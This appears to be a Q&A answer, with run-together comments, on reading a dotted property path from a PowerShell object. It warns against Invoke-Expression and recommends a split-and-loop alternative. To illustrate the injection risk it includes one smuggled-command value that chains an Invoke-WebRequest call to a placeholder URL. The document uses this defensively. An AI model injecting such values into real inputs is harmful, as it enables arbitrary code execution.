An interesting feature of PowerShell is that you can have properties that contain a period. For example:
[pscustomobject]@{'a.b.c' = 'example'}
This means that in your question since $x is string, (Get-Date).$x won't be parsed in dot notation as separate property names. But as (Get-Date).'psobject.Properties.Name'
The lazy way around this is to use Invoke-Expression to first build the string before evaluation.
$x = 'psobject.Properties.Name'
Invoke-Expression "(Get-Date).$x"
This is usually acceptable as long as the definition of $x is a static value that you defined. But if something else sets the definition of $x, you can get into a Bobby Tables situation with arbitrary code being executed. For example:
$x = 'psobject.Properties.Name; Invoke-WebRequest http://example.com/superdangerouscode!!!'
Invoke-Expression "(Get-Date).$x"
So if you can rely on your definition of $x to be in a dot delimited notation, you could use the split() method on dots to turn the value into an array to loop over.
$Date = (Get-Date)
$Properties = 'psobject.Properties.Name'.split('.')
$Properties | ForEach-Object {
if ($_ -ne $Properties[-1]) {
#iterate through properties
$Date = $Date.$_
} else {
#Output last value
$Date.$_
}
}
iex "(Get-Date).$x"$o.$x, it'll look for a member of$owith the same name as the value of$x- adatetimestruct has no member calledpsobject.Properties.Name, so no that's not possible. You could chain them though:$x,$y,$z = 'psobject','Properties','Name'; (Get-Date).$x.$y.$ziexis just easy because is solves the immediate problem.iexgets a lot of heat for the ability to take arbitrary code (e.g. from aniwr) and execute it. It opens up the dangers of unsantized inputs. Here's another solution with a loop.$a = (Get-Date); $b = 'psobject.Properties.Name'.split('.'); $b | % {if ($_ -ne $b[-1]) {$a = $a.$_} else {$a.$_}}